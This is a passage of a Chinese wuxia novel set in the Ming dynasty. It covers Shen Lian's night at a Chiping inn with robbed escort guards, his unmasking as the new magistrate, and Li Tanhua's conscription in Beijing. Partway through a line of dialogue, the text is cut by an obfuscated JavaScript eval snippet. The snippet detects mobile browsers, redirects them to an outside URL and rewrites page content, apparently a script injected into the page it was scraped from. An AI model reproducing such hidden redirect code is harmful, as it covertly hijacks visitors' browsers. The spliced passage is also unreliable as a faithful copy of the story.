“是啦。这不是我们大哥可怜他,给他盘了个店子,叫他不要风里来雨里去的。总有两年了。两年前,翁大哥就想大张旗鼓办他几席,老秀才不让。且在下家中做着这么个生意,日常是与叔父天南地北地乱走,竟有两年不曾上东昌府来。今日终于来了,我倒说无论如何要替老秀才贺上一贺。可惜约好了日子,大哥和边老六又叫事给缠住。也罢,就是咱这几个吧。” 易明湖拿筷子头挨个儿点点,“你们这起东西!吃我的,喝我的,倒是与我温锅?” “那你还想怎样!家下叔父管得严,一分两分的银子都把持得紧,我的人能到了就算不错。” 真把个老秀才说得哭笑不得: “你也算个人物!” 几人说说笑笑,渐渐地十分热闹了。外头的大雨虽暴,也都抛诸脑后。但是笑着笑着,沈炼忽然停下筷子,望向门口。几人见他异状,渐渐地都停了笑闹。那门板关得严实。片刻之后,一阵笃笃的敲打之声响了起来。 10. 长风客人 客栈的门,当然是常常被拍响的。客栈正是招待旅人的地方。可以想见,在东昌府的雨季,路上会绊住了多少绝望的行人,沈炼自己当然是最知道个中滋味,但他却是下意识地伸手捉住长剑,一桌人顿时收声,彼此对视,又望向门边。那麻子少年,说是叫做公孙雨的,灵巧地一蹦,到了门边。屋中极静,而听得到外面的拍门声,渐渐掺杂了咒骂和哀嚎。 雨声,和着这样几乎凄惨的叫声,令人心下发毛,沈炼却松了口气。他是从山中强行闯过东平十虎的地盘来的,那条道,独自一人反而比较好脱身,只要施展轻功,一味地闯去就好。而且强盗都有一种辨认点子的眼力,即是对过往旅人,看一眼便能大略估量得出他们有无财宝在身,像那种浑身只有一张包袱皮、一把不值钱的铁剑、几块干粮,就敢孤身闯荡的硬把式,招惹来实在不上算。要做强盗,也得有种生意人的精明。饶是如此,沈炼依然经过了一番拼杀,才走出那道山坳。难道是东平十虎为着那种好勇斗狠的江湖人习气,听说有人从他们的地盘闯过去了,故而不惜离开地盘,专程追过来找麻烦的? 但是哀嚎声一起,疑心便消了下去。老秀才此时已将板卸下,将吱呀呀的木门打开,一团人形,犹如抱在一起撕咬的两头猛兽,血淋淋、湿漉漉地滚落了进来。 血是哪里来的?定睛一看,便见两人当中的一个,竟被人生生斩去一臂,血流比外面的暴雨还要凶猛,伤者的脸色已渐近青灰,死临近了。 铁姓的青年,猛然扑了上来,把伤者扶起,撕开他的衣裳,沈炼递给他一碗酒,他拿过来一口含在嘴里,猛然朝伤口上喷去。剧痛使那伤者的身体猛烈地挣动,又被铁姓青年用力抱住。他半睁着眼睛,呼哧呼哧猛烈地喘着气。看上去又是可怜,又是可怖。 起初,凤白也几乎被吓得呆了,他从十几岁起就跟着叔父四海奔波,为家中的药铺采购药材,但那种生活——讨价还价,分辨药草的好坏,算计成本,打理铺面,和客人、伙计、农户们的人情往来……那跟这个,如今正淌到他脚下的血泊比起来,确乎是两种世界。一种是比喻中的江湖,另一种呢?还是比喻中的江湖。 后来他如梦方醒似的,忽然跳了起来,奔到外面的雨幕中,不一会儿就把自己给淋成个落汤鸡样,好像奔波了几十里地似的,同样地气喘吁吁,向正照料伤者的铁氏伸出一只革囊。铁氏接过来一看,里面有三五只小瓷瓶。凤白指点道: “青花的那只。” 那是上好的刀伤药。原来,凤白的叔父一向要他随身备些常用的药物,只是从来没有用武之地,是以这只革囊常年被遗忘在马鞍旁。现在,铁氏将那些雪白的粉末毫不顾惜地全洒在了伤口上,血渐渐地止住了。 伤者的同伴,也是坐在地上,一手挽着只巨大的箱子,此刻向几人不停地拱手,一句话也说不出来,只是拱手。 老秀才重新将门板上好,等铁氏替伤者包扎完毕,众人将两个不速之客扶在凳上,给他们酒喝,好一会儿才使其心魂安定。倒是那伤者最先开口说话。他的身材极为魁梧,同伴也显然是精干的武林好手,不知是怎样的险境才能让他丢掉一条胳膊。伤者几乎是语无伦次地道: “在下查猛,谢过诸位朋友的救命之恩。谢谢。谢谢。” 老秀才道: “东昌府中,没听过有姓查的人物,你们两人从何来的?” 同伴道: “我二人是西安府‘长风镖局’的人,他是镖师,我是趟子手诸葛雷。” “这么说,你们是押镖到此的了?”老秀才哼了一声,“在山里尝过东平十虎的利害了吧?既然是吃这行饭的,怎不知先盘盘道儿?东平十虎的地界,凭你们两个也敢闯!除非你们比那打虎的武松,还要厉害十倍。” 诸葛雷大声道: “现在说这些有什么用?我们原本有十六位弟兄啊!全折在山里了!老谭、老牛,还有大鼻子张硕……全都……” 说着说着,猛然低下他那有着酒糟鼻和荆棘丛般缠绕的络腮胡与乱发的头颅。 凤白为了要宽他们的心,便道: “无论怎样,逃出来便是好了,东平十虎盘踞山中,也是占了地利。他还能追出来打杀你们么?就是有这样天大的胆子,我们兄弟也一定要护二位的周全。” 西门烈道: “是啦,瞧你恁大的个子,莫要哭鼻子了,叫那些死在十老虎手里的冤魂听了,还要说你们两个是得了便宜卖乖呢。” 公孙雨道: “老幺说话不好听,但是这么个理儿,东平十虎的大名,整个东昌府都省得,官府也大动干戈剿了许多次,次次都是反被他杀的人仰马翻,你们二位能逃出命来,已经谢天谢地了,快回家拜菩萨吧。” 沈炼这时候倒也是县官的职业病犯了,忽然道: “某是一介道人,见识浅短,请教两位兄弟,难道贵镖局每次都要折上十几位弟兄,来走这条道儿么?” 凤白笑道: “来兄不知道这些。历来镖局也都像东平十虎盘踞艾山一样,有自己的地盘的,像我们铺子里买了成车的药材来,那是极显眼的东西,知道的,道几车的淮山、陈皮,压根不值几个钱,不知道的,还以为满车都是金子银子呢。是以每回都要找镖局来押送,镖局实际也像山贼一样,是占山为王,他们在本地熟门熟路,外地的押镖来了,除非是振远那样南北都有大名望的大镖局,否则真是寸步难行,若必得过这一段路,怎么也要先去向本地的大镖行拜拜山头,否则就连本地的镖行也要去欺负他们,以为抢了自己的饭碗。能过这一段路而货物无所损伤的镖局也有,就是本地的兴盛镖行,总镖头是张长兴老镖头,使的是一对梅花板斧,老先生年逾六十了,双斧还有千斤的力呢,两年前我和叔父在东北得了一支千年参,特意请张老先生乔装改扮陪我们走了一段,有幸见过他的身手,啊呀呀,那真是——使人诗兴大发!可是就连张老先生,那东平十虎的老大黑山虎也是不给面子的,是亏了老先生和我们翁大哥有交情……” 诸葛雷此时便粗声粗气地道: “这位兄弟说的是!俺们长风,本是只走西北的道儿,从长安到陇西,远的到甘州五卫,只要扯起长风的大旗,谁不敬仰!哪里有人敢来劫镖?可是偏偏这一回,老镖头不知吃错了什么药,非要往东来闯,整整三辆车的货,要在两个月的限内运上京去,不走茌平,哪赶得上这个死限!我看老镖头真是——” 查猛用力地踩他的脚,他方止住不说了。两人沉默着一碗一碗地喝酒,查猛更是要靠酒力来止伤口的疼痛,不觉两人都有五分醉了,他终于长叹一声,泪落滚滚: “完啦。完啦!” 西门烈鼓动他道: “哪里就算完了?自古以来独臂的侠士也有不少,关键是自己别先泄气。武松只用一条胳膊,还能擒住了方腊呢。” 查猛苦笑道: “小兄弟,谢谢你。可我在乎的不是这个。兄弟你说得对,断一条胳膊算不了什么,出来走江湖的,就是连脑袋也一块搬了家,那又怎样?十八年后还是一条好汉。” 凤白道: “对。对。看得开就好,你瞧我一帖堂的灵丹妙药一敷上去,即刻止血,养上半个月,这伤便能收口,三个月后管保你神完气足地重出江湖了!” “不是。不是这些……”查猛用力扣住手中的陶碗,使那碗上几乎出现了裂痕。好半天他才说:“是我那些兄弟们……一想到两个时辰之前大家还说说笑笑,现在却——而且三车的货,也全落尽了那帮盗匪手中。诸位不知,这件事连诸葛五弟也不知,是总镖头他老人家私底下告诉我的。他说……” 查猛左右看了看,仿佛担心会有人趴在房梁上偷听似的。后来他将碗中酒一饮而尽,方道:“这三车货物,比三车的金银财宝还要贵重,个个都是无价之宝——这是本省的巡抚大人,献给皇上的贡物!” 这下,众人都是悚然一惊。诸葛雷更是“啊!”地一声大叫了起来。“这么说,他——他——” 查猛黯然道: “五弟,我知道你一向是把老镖头当作自己的亲生父亲一样地敬重,其实,咱们谁不是这样?咸阳城中,人人都道老镖头仁义,收养了那么多饥荒和兵灾里无父无母的孩子,把他们培养成才,悉心教导武艺,一点儿也不藏私。就是亲生的父母,还有对孩子吝啬的时候,老镖头待咱们,真的是没的说的,抛头洒血也要报答他……” 诸葛雷瓮声瓮气地道: “你不用说了,我知道,老师父他是个官迷!就为了巴结那些当官儿的,他什么也做得出来,就是把师妹送给那个姓王的当小老婆,说不定他也乐意!” “不是这么说,当官的谁不想巴结?巴结上那些官儿,对咱们镖局也有好处。师父是有志向,要把镖局发扬起来,谁知道?就在这里几乎折光了咱们的弟兄。” “他知道!他知道!他怎么不知道?他若不知道这一段路凶险,就不会把所有能动弹的都给派出来,结果怎样?成了老虎口里的肉啦!” “唉……别说了。别说了。眼下把贡物丢得七七八八,我们两个拼死也只抢出这么一箱,官府怪罪下来,如何是好……” 两人在这里唉声叹气,看得众人心下也是一阵酸楚,西门烈还是个小孩儿,当即便道: “你们两个别泄气呀,这事儿别人都不能帮,就是我们翁大哥能帮。我们翁大哥,那是东昌府里响当当的豪杰,就连黑山虎,也得服他!赶明儿你们跟我们一块进城,去见翁大哥,让他替你们把东西要回来,不就得了?” 公孙雨道: “就是。而且,还要让大嫂子给你们编一只风车,好叫你们今后往来都再没阻碍呢,耽误不了你们的生意!” 两人的愁眉并未因为大家的劝慰而舒展。沈炼此刻又向西门烈问道: “西门兄弟,你们说的翁大哥,又是哪一位豪杰?” 说起翁大哥,所有人都提起了兴致。看样子,他们众人全都对这位翁天杰翁老大,十二万分地佩服,据说他是一位响当当的英雄好汉,官府剿灭不了的东平十虎,他敢赤膊上阵,径直闯到老虎巢里去。据说他赤手空拳和黑山虎较量过一番之后,虽然凭他一己之力还是无法剿灭整个匪帮,但从此以后,黑山虎倒是服了他了,凡是带有翁天杰信物的人,东平十虎一概放行。那信物,就是翁大嫂子亲手做的纸风车。 沈炼若有所思地听着。屋中翁天杰的拥簇们,倒已经七嘴八舌地替两个不幸的镖师安排好了接下来的全盘计划,诸葛雷感动得简直语无伦次,可是他那生性谨慎的师兄,还保持着沉默。 沈炼也有打算。等明天一早开了城门,他要升堂好好问一问这两个人,同时还有心见见那翁天杰。当晚再无别话,因为两名镖师疲乏已极,查猛更是重伤在身,自然要安排他们睡下。两人带着那口箱子,挑了楼上靠窗的房间。沈炼盘算着:这也许说明他们是仍不信任大家,但也或许…… 几人仍在楼下吃酒,金凤白说,说要帮老秀才解决这些陈年酸酒,就一定要说到做到,少一坛、一碗、一口、一滴都不能算“解决”。老秀才牙疼似的哼哼着,自己也一仰脖喝得很快。 楼上传来隐隐的雷声,本以为是打雷,后来才发现是诸葛雷的呼噜。大家相视一笑,就在此刻,灯熄灭了。 沈炼早在油灯被打翻的一瞬间便抓起矫心剑,退到房间的角落。即使不靠视觉,在漆黑的房间里,也能感到众人移动的步伐,众人各有动作,老秀才从地上捡起什么东西,大概就是它打翻了油灯,似乎是飞蝗石一类。楼上传来一阵大叫:< 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原来金凤白和公孙雨在黑暗中交上了手。两人被油灯的暖光一照,都有些讪讪的,然后互相埋怨: “老金真是锯嘴葫芦,别等我一掌将你拍死了,才知道吱声!” “麻兄弟不要血口喷人!” 老秀才在走廊尽头的窗前,望着外面的风雨,又不知在想什么。诸葛雷和查猛呢?一个傻里傻气的夯汉,一个重伤者,他们就算睡得再沉,也该被方才那一阵打斗惊醒了。 沈炼走到那两人安歇的屋前——老秀才正是站在这间屋子外长廊的窗边。房门大开,铁姓的青年,正站在屋中,怔怔地瞧着地板上放着的东西。沈炼此时才认真瞧看到那是个沉重的楠木箱,别说里面放着的是怎样从各处搜刮来的奇珍了,就是这箱子本身也是价值不菲。可是现在箱子已然空了。青年朝沈炼转过身来,摊开他的两手,苦笑,并且同时是对着累死累活地又踏着吱咯作响的木阶走上来,再度淋得透湿的两位镖师,说道: “我说我一进来便看到这箱子空了,几位可能相信我么?” 查猛的伤口又再度崩裂出血。他一言不发地走进来,弯腰用他的独臂将箱子扣上,攥住那在水中已经浸泡得掉色了的原本非常华丽的缎带,重新拎到肩上,站定了,对众人道: “谢谢诸位。我们……我们还是快些回乡去罢。” 但是现在回去做什么呢?他又低着头道: “以我们兄弟的脚力,不过是一个月内的事,快些回去,还来得及把事情通知老镖头,我们是该快点逃?还是留下来等着官府判我们的罪?这事只有老师父能拿主意。再见了,诸位。” 他的目光,轻轻地从众人的脸上掠过,然后慢慢地转身,和诸葛雷一起下楼去了。金凤白追到门口,道: “你们可以骑走我的马!” 诸葛雷回身向他拱手致意。门外一阵马嘶,然后蹄声慢慢远去了。再过一阵,天光就要亮起,雨也渐渐止住,外面空气清新,泥泞不堪。 西门烈一直趴在桌子上冥思苦想,老秀才把门打开的时候,他一拍桌子: “岂有此理!这件事,翁大哥就不能管管么!我这就进城去和他说。” “大哥和边老六出远门了,这两天怕是回不来?” “那我和嫂子说去!” 西门烈这么说着,真就往外跑去。金凤白道: “老幺,别跑这么快,进城才几步路?兄弟几个做个伴儿吧。” 他这才放缓脚步。于是几个人结伴朝茌平城门走去,三个年轻人垂头丧气,仿佛觉得自己亏欠了两位镖师什么。这就是江湖上的年轻人都有的急公好义的性格。而沈炼、老秀才和那铁姓的青年则走得慢一些。临到了城门前,远远地却见到敲锣打鼓,却是县里的师爷带着一队吹打的班子,不知在闹些什么。西门烈显然是认得这人,蹦过去道: “边老五,难道你娶媳妇?” 那师爷道: “去。去。我有正经事。” 公孙雨道: “噫!今儿太阳也不见是打西边出来?” “唉呀!你们几个,不要在这里挡着道儿。我告诉你们今儿是什么日子。今儿,就是新老爷到任的大日子!” “难不成是说县令老爷?” “就是哇,自从半年前前任的父母官摘了印去,到而今半年了。听说,新任的沈父母——” 他的话说到一半却顿住了,眼光紧紧地盯着沈炼,继而马上扑了过来,呼天抢地地道: “这位一定就是沈父母了!啊呀,老爷,小的们盼星星盼月亮总算把您给盼来了哇,一县而无令,就犹如一家而无主,全城百姓上上下下,是六神无主哇!” 西门烈道: “你别嚎了,这是杭州的道士来大哥,来登泰山、游山玩水的。” 边老五两手抓住沈炼的手,好像是个要债的,生怕他跑了。并且在百忙之中扭头道: “你知道个屁,我看人最有准头,这位一定就是新任的沈父母。” 西门烈马上就要揍他,一片忙乱之际,沈炼也只好承认了。 “在下冒来霞士之名,实在不应该。某正是沈炼。在江湖上,则有一号作‘沈青霞’。” 西门烈于是又从气边老五转为气他。而这些昨晚刚认识的朋友,忽然全部都似离他远了些。倒是老秀才道: “原来阁下便是阳明宗师的那位高足。” 他有若有所思地道: “本县有了这样一位父母官,实在是……” 喃喃自语,往下便淹没在了老人无穷的心事里。边老五不分青红皂白,嚷嚷着“闲杂人等一律开道!莫等着给自己找板子吃!”将沈炼拥进城中去了。 11. 树挪死,人挪活 当日兵部侍郎李荣在时,雅好清净,所以在京城的这座宅邸里,也于院中种了许多树,到了春日花发之时,浓浓的阴凉一直垂落到窗前,白色的苹果花的蕊丝,一直飘落到窗棂上,每把窗户撑起来都拂着了垂枝落下一大堆。按理说为了结好果子,苹果树总该修剪修剪,但他只是任其散漫地长着好看。到了结果的时候,有时候就把这苹果拾掇了送人,得着的引以为荣。其实京城的水土如此,他又不上一点心,也不施肥,也不除虫,种出苹果来是酸的。当然也没人知道他为什么非要种苹果,可能只是单纯为了每年折磨一下同事吧。 至于小李探花来京以后,当然和他哥哥住在一起,兄弟俩是一路的促狭人物,有时候用苹果来宴客,桌上摆一堆名贵点心,再来一盘苹果,便瞧着多少大人物争着抢着吃这牙根都酸倒了的苹果,两人事后都笑得了不的,想想这些行径也真是无聊透顶。李荣对他这个弟弟也实在疼爱得够了,他这样一个爱静的人,虽然做的是兵部的官,可是一位儒将,打仗靠的是兵法,并不上阵厮杀。自打李探花来了,每天在院子里练武,嗖嗖地把些苹果树当靶子练暗器,再不然就上房揭瓦、轮番地耍弄兵器,李荣竟然也不烦,只笑眯眯地瞧着。 李丙端着盘子走进房中,便瞧见他家这个小少爷舒舒坦坦地靠在软枕上,手里拿着一卷闲书,边看边笑,边笑边看,乐得床前挂的珠帘子乱晃,实在不知道有什么那么好笑。他把盘子放下,站着,看着他笑,不觉叹了口气,要说自娱自乐,他家的少爷功力之深厚真是无人能及。少爷看见他来了,挥舞着手里的书卷,兴致勃勃地说: “今年结了果子我要吃!” 李丙是知道这苹果的利害的,不觉叹口气道: “等结果子的时候,你就该在家啦。” “那没关系,叫人送回家给我。” “得嘞,你小人家说什么,咱哪敢有个不字。” 李探花听了,又笑个不住。这是五月间,自从他挨了那一顿好打,已经几乎半年过去了,当日他冒了罗桂林的名,竖着出去,横着叫胡云翼给抬回来,着实把家里上上下下又都给吓了个魂飞魄散,里里外外的伺候的姑娘们都是呜呜地哭,李丙劝了这个劝那个,劝得自己的心下也一片惨然。 末了,竟把那苏州来的名医薛巳按在家里不叫他走,后来过了两个月,薛巳实在不能待了。他和父亲两代人合作了一本医书,叫《薛氏医案》,十年前出的版本叫《薛氏医案八种》,五年前叫《薛氏医案十四种》,最近叫《薛氏医案十八种》,此番来京本是为了搜集资料的,百病常与节气共生,等再过上几天气候转暖,他可就又要等到明年了,因此坚决辞去,道: “老先生,令郎的病到而今只剩将养的工夫了,若有什么隐患我在这日日夜夜地瞧了两个月还没瞧出来,那再叫我瞧上二十年,我也是瞧不出来的,老先生如不放心,可以再聘名医。” 李丙大为惊恐,“立斋先生这是哪里的话!” 薛巳叹道: “然而令郎却有一顽疾,我已看出来了,却不能治。” 李探花听到这里,不免一笑,“他一定是说我太爱管闲事,对不对?” 李丙忿忿地瞪了他一眼: “少爷真是冰雪聪明,原来你知道啊,知道了还不改!” 李探花自管喜滋滋地道: “这是我娘胎里带的。其实我师父也这么说,后来他老人家都不屑得管我了,可怜我就这样小小年纪被师父弃养。” 李丙实在拿他没办法,支吾了半晌,才道: “说话怎那么难听,你那叫出师。” 李探花怅然道: “不是,是师父嫌我没出息,就不要我了。可是我活着又不为了有出息,我只想寻些好玩的便罢了。” 李丙道: “那现在怎样?挨顿板子,阎王面前走了两遭,好玩么?” “我改啦,改啦。” 他懒洋洋地趴在熏香了的软榻上,望着窗外的冰雪。后来又望着窗外的苹果树的嫩芽,花发了,他又望着那花。足足在房中闷了快半年。平时他闹腾的时候,李丙嫌他闹腾,后来他不闹腾了,又觉得他未免太安静了,每天悬心挂念,自觉多老了十年。 可是春天来了,他也高兴,春天万物生长,伤势也好得快,于是他走过来,将窗户打起,心中盘算着,再有半个月,就安排车马,把少爷送回直隶的家去,也好叫他和老李尚书父子团聚。京中发生的事情,桩桩件件,他是半点不敢隐瞒的,于是把个当爹的在家中急得油煎也似,恨不得立马插翅飞进京来,可是本朝制度森严,致仕的官员,若没有皇上旨意,是不能随意离开当地的。待要向皇上请旨,又因为嘉靖此人心思诮刻,他转着的那些稀奇念头,常人真是无从忖度,万一横生事端,落在这些当臣子的头上,就是倾家荡产之秧,于是终究是不敢开口。 于是这些天来,只从直隶流水也似地送来珍稀的药材、吃穿用度和不断的书信,等李探花从昏迷中醒来,发现身边给堆成宝山也似,枕边一大摞他爹的信,云翼送他的那盏泡灯,给挂在了床柱子上,悠悠旋转,彩光晶耀,上灯以后,更与烛光辉映,格外好看。他就出神地望着这灯,和里面的两尾鱼,看了好久好久。 这一日李丙走来告诉他备车备马的诸般事宜。他自去官以后,当再不来京了,那么这房子留着也没用,竟卖了的好,省得想起来糟心。可是他又要那些苹果,果然还是等结了果子再操办着卖,至于宅邸里侍奉的那些姑娘们,爱出去的打发她们出去,没处去的就一并奉送给下一任的主人好了。李丙道: “北京的水土,哼!种什么什么糟。少爷,我且和你说,这果树是种错了地方,若是种在保定,那保准是又香又甜的。我竟给你移栽回保定去,怎么样?” 李探花笑道: “树一挪就要死啦。树开花原不是给人看的,长叶子原不是给人遮荫的,结了果子原也不是为了给人吃的。人有臧否,与树何干?就让它们在原处吧。再说这院子到时候挖出一片坑坑洼洼的多难看呢。” 李丙也就不再说什么了,只站在那,也望着窗外出神。他原本是个很威武的身材和长相,现在虽然老了,可是更添了端肃,若不是屈居仆下之位,穿上身体面的绸缎衣裳,当能令人肃然起敬才是。李探花不由得道: “李丙,你在想什么?” 过了一会儿,老人才从回忆中苏醒过来,慢慢地说: “我想到和大少爷的交情。” 李探花一听就笑,李丙道: “笑什么?告诉你,我和你爹爹是五十年的交情,和你哥哥是四十年的交情,你啊,还挂不上一半呢。” 李探花笑道: “是。是。那我大哥当日如何?” “咳,还能如何!我只想着他刚抱来的时候,只这么一丁点大。后来我有事在南边耽搁了几年,再回来,他竟已懂事了,长成好个小秀才,对我作揖,叫我干爹。” “那我也叫你干爹好了。”说着又笑。李丙瞪了他一眼: “你笑什么!难道说大少爷就不是从奶娃娃长起来的?” “是啦,我总以为大哥一出生就那么高了,我老是得抬着头看他。”他说着伸手比一比一个很高的样儿,“而李丙呢,一出生就那么老。” “臭小子。” 李丙佯装生气,不理他。李探花却又悄声道: “喂,李丙……” “怎么?” “咱们还是把这些树移栽回去吧。就在冷香小筑旁边辟一片地,好不好?” 李丙哼了一声,“怎么又转性儿了?” 李探花望着他道: “树挪死,人挪活。要是你觉得这些树毕竟是个念想……就带了去吧。” “这……这院子到时候挖成坑坑洼洼的难看。” “不要紧,再叫他们种别的。” 李丙长叹一声: “我老啦,对这些身外之物,越发地看不破,竟还不如个孩子。” “当然啦,我是天才,你如何能及得上我?” 他又说,“唉,李丙,你从什么时候开始知道人是要死的?” 李丙怔了怔,道: “总是……二十来岁的时候,出来闯荡,在眼前死了人……” “哇,好个凶悍的人屠。” “好个贫嘴的少爷!” 李探花道: “我从四五岁起就知道啦。人都是要老的,然后就是要死了。你想,我出生的时候,爹爹就已四十多了,长了满脸的皱纹,而今他已快到古稀之年。你和他差不多同岁。我和大哥虽然说是兄弟,他却又比我大了二十多岁,世上哪有差二十多岁的兄弟嘛……打从一开始我就知道,没有不散的筵席,你们一个个的都会走在我前面,谁能一直陪着我?所以我一向就不爱听什么长命百岁,我只愿自己早早死了才好。” 过了半晌,李丙才道: “幸好有表小姐,等过两年,咱们还是想法子把表小姐接回家来,你们两个安安乐乐地过日子。她比你还小上两岁呢!” 李探花笑道:“你又呆了!我就知道江湖人把大明律当个放屁。我俩是表兄妹,怎么能结婚?” 李丙道: “你既已不做官,怕他么?总不过这辈子你也不娶,表小姐也不嫁,你们两个,在家里守着金山银山,玩过这一辈子,不好?我知道表小姐对你是没的说的。” “唉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995987|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,李丙,你不懂。诗音从小像坐监似的养在咱们家里,后来又像坐监似的养在宫里,妈又早死,爹爹和哥哥又常不在家……她眼里只有我这么一个对她好的人,当然会全心全意地爱我了。可我要是娶她,岂不是趁人之危?” 李丙笑道:“是你不懂了,少爷。人一生有打从头上就能把得定的东西,多么难得!快把这些道德教训抛了脑后去吧。可怜,读这份书,到底学迂了。” 李探花刚要回话,外面就传来一阵喧闹,李丙便出去瞧了瞧,却见两个公人,穿着官服,拿着棒,好不威风,闯在他家的大堂上。 “两位大人有何贵干?” 这两人掏出张公文来,念了一通。李丙心里烦他们无礼,想到李荣做了一辈子兵部的堂官,如今却叫五城兵马司的人在家里作威作福,又一阵凄凉。便截口道: “听不懂,听不懂!我老人家耳背听不懂你们这些鲁苏。” 说着一屁股坐在椅上。那胖些的公人便冷笑道: “好个没礼貌的奴仆,竟敢跟衙门里拿乔起来了。告诉你,就是你家的尚书老爷亲自在这里,也少不了拘了去走一遭!” 李丙方才大惊,但仍镇定地回话,道: “什么大不了的事,也扯到我们老爷头上!我们老爷正在乡下安度晚年,你道他爱管这些京里的闲事?” 那公人道: “自然,制度如此,他就是八十岁,摊到头上,也得乖乖地去!” 原来本朝洪武开国时,将百姓分编了户籍,大体上是三等:军户、民户和匠户,三等户籍中又向下细细地分作数十种不同的分支,凡编在某户之中的百姓,世世代代都要承袭下去。种田的世代种田,当兵的世代当兵,工匠世代做工,不能变更职业,也不能离开原籍地,犹如困在罗网之中一般。李家就在军户之中,世世代代要出人去军中里当差的。 李探花家里三代,他的祖父李瓒、父亲李廷相,以及叔父李廷柱都曾经当过这份差使。不过这户籍制度有唯一的出口:只要考取了功名,就能一跃而登天子堂,可以免除这份劳役了,不过也只是自己身免,还需再找个替死鬼为自己当差去,要想全家得免,非得做到兵部尚书不可。这份职业就是如此在家中传承,当然李廷柱殉职已有四十年了,这四十年间,都赖李家在朝中的声威,没人敢拿此事找茬,如今大李探花故去,小李探花罢官,看李家有败落之象,马上便没人再为他们循半分人情。 李丙本要拿银子暂时打发了他们。他是个江湖人的思维,此刻心念一转,便打算先糊弄过这一遭,然后火速打发少爷上路,等他回到保定,又是另一番天地,谁还能管的住他!但这时候一阵脚步拖沓着走来,李探花靠在门边上,笑道: “好了,李丙,不要和他们为难了,当差就当差嘛,我去就是了。旁人想当差还当不来呢。” 那两个公人纷纷道: “小李探花真不愧是堂堂的翰林学士。” 李探花便回屋换了衣服和他们走。李丙见他走路仍有些踉踉跄跄的,哪里有昔日那个上蹿下跳说上房就上房的泼猴样子?不免焦心万分,连连地道: “唉!唉!这趟就不该来!” 李探花无奈道: “你以为我躲在乡下,就能逃过去了吗?我还不想当逃犯呢。再说,这种事情夏阁老碰上过,原是朝廷的制度,不是谁特意地和咱们为难。你放心好了,要说是当差,就一定是在陆大人手下,又少不了面圣的机会。保不准我一见到皇上,他就像赏夏大人那样,赏我一个白身呢?” 原来当朝的宰辅夏言,也是军籍出身,嘉靖三年,他回家丁忧时,当地的卫所因盘查人丁,查来查去,查到他兵科右给事中夏大人头上,管事的便发签召人,此事一直闹到皇帝跟前,皇帝下旨将他的军籍除去方罢。 李丙哼了一声: “也不知道是谁一句话就差点叫你丢了性命,你还指望他呢!” 李探花只是笑。穿戴好了出去,李丙又追出去,悄没声地给两个公人一人塞了一锭银,道: “我家少爷实是在家养病,如今走不了长路,求两位老爷开恩,叫他骑马去吧。” 那两人也眉开眼笑地道: “这是自然,老人家不必担心。如今李少爷却不是叫我们拿了去,却是陆炳陆大人请了去的,想我们陆大人一生爱才,出此下策,是想有个臂助,我们包管李少爷去了以后,一旦授职,马上就是我两人一辈子也攀不着的大官,我等怎敢怠慢他?” 于是李探花扳鞍骑上他从前上朝时的那匹四蹄踏雪的黑马,和两个公人一道去了,李丙在门口殷殷地望了半天,苹果花飘飘摇摇,不觉落了他满头。这个老人,已经六十载风霜,看上去更佝偻了。 12. 豪杰病 沈炼坐茌平,第一件事就是打听城中的人情。幸好他身边有个前任给他留下来的遗产,就是那师爷边洪边老五。他还有个弟弟名叫边浩,据说颇有武艺在身上,是个出类拔萃的青年,就是当日凤白等提到的边六哥。边洪告诉他说,茌平有三户人家,是万万得罪不起的,第一就是翁天杰翁老大家,第二是刘员外家,第三是方家。刘家和方家,彼此是儿女亲家,在此地根基很深。只有那翁家,是十年前迁来的,家里人丁稀少,就是夫妻两个,翁天杰虽然性情豪爽爱结交,但他的朋友都是些江湖人,却不爱和本地的乡绅来往,那些江湖人,更是被两户本分人家视之为洪水猛兽。于是近些年来,刘家、方家携起手来对付翁家,两家渐成水火。上个月,两户人家的佃农还为着些羊吃了麦苗的芝麻粒大的事,打了一架。翁天杰以为他的佃农没错,亲自去把他从衙门里领了回来,要不,此事本该是将犯案者押起来,听候老爷到任再处理的。沈炼沉吟片刻,边洪道: “老爷可是要发签拿那两个?” 沈炼摇头: “翁家亦是体面人家。”边洪就不再说什么了。往下当天晚上就是刘家请他吃饭,然后是方家请他吃饭,然后白天升堂,应酬,夜里验看账房处从田土到人丁的各种簿册,没完没了的琐事,过得人厌烦已极,心里无限地向往他的那些朋友们,想和他们一起乘着那艘大船,在大运河上自由自在地漂流。 到任的第一天,他便写了封信给京里的朋友,如今回信和他的上司——东昌府知府的一封私人信件一起来了。知府说,沈县令多年来沉沦下僚,都因为劳而无功。现在他建立功名的时候到了——便提到那一宗失落在东平十虎手中的宝物。沈炼将信笺扔到一边,打开友人的回信,陷入了长久的深思。 他在等待。慢悠悠地等。 一个月后,终于有位朋友来拜访他。就是当日在客栈中结识的铁姓青年。拜帖上写的是“铁继文”的名字。沈炼将他让进来,两人久别重逢,说了些客套话,茶上来,仆从退下,沈炼状似无意地道: “有一件事情,小弟不很明白,望铁兄开示。” “不敢,县尊但说无妨,在下一定知无不言。” 青年恭谨地回答着,但显然比方才更加紧绷了。沈炼道: “古人云,‘若夫保姓受氏,以守宗祊,世不绝祀,无国无之。’如今叶兄为何要改变姓氏?” 青年的眼睛一下子睁大了,嘴唇哆嗦起来,显然是咬着牙。沈炼又微笑道: “当然,这也不是什么了不得的大事,如洪武朝黔宁王,便是蒙君王赐姓,改‘沐’为‘朱’。如今某也只是好奇而已。” 对方张口结舌,半晌才道: “县尊能否开示,我是哪里露了馅?” 沈炼笑道: “很简单。我第一眼见到铁兄,就感到阁下人品出众,得武者之豪爽与文人秀雅而兼,怕不是武举出身?” 原来本朝的武举,是兵法文策为第一,要是笔试通不过,后面的武试简直连参加的资格也没有。继文只有沉默,看样子是被他说中了。沈炼又道: “既然有这么个猜测,往下便顺理成章,请一位朋友略查了查近十年来武举的名册。阁下原姓叶,嘉靖十七年武举登科,某没说错吧?” “没有。” “那么铁兄可以告诉我,为什么放着锦衣卫的差使不做,要改变姓氏,隐姓埋名了吗?” 继文终于叹了一声,道: 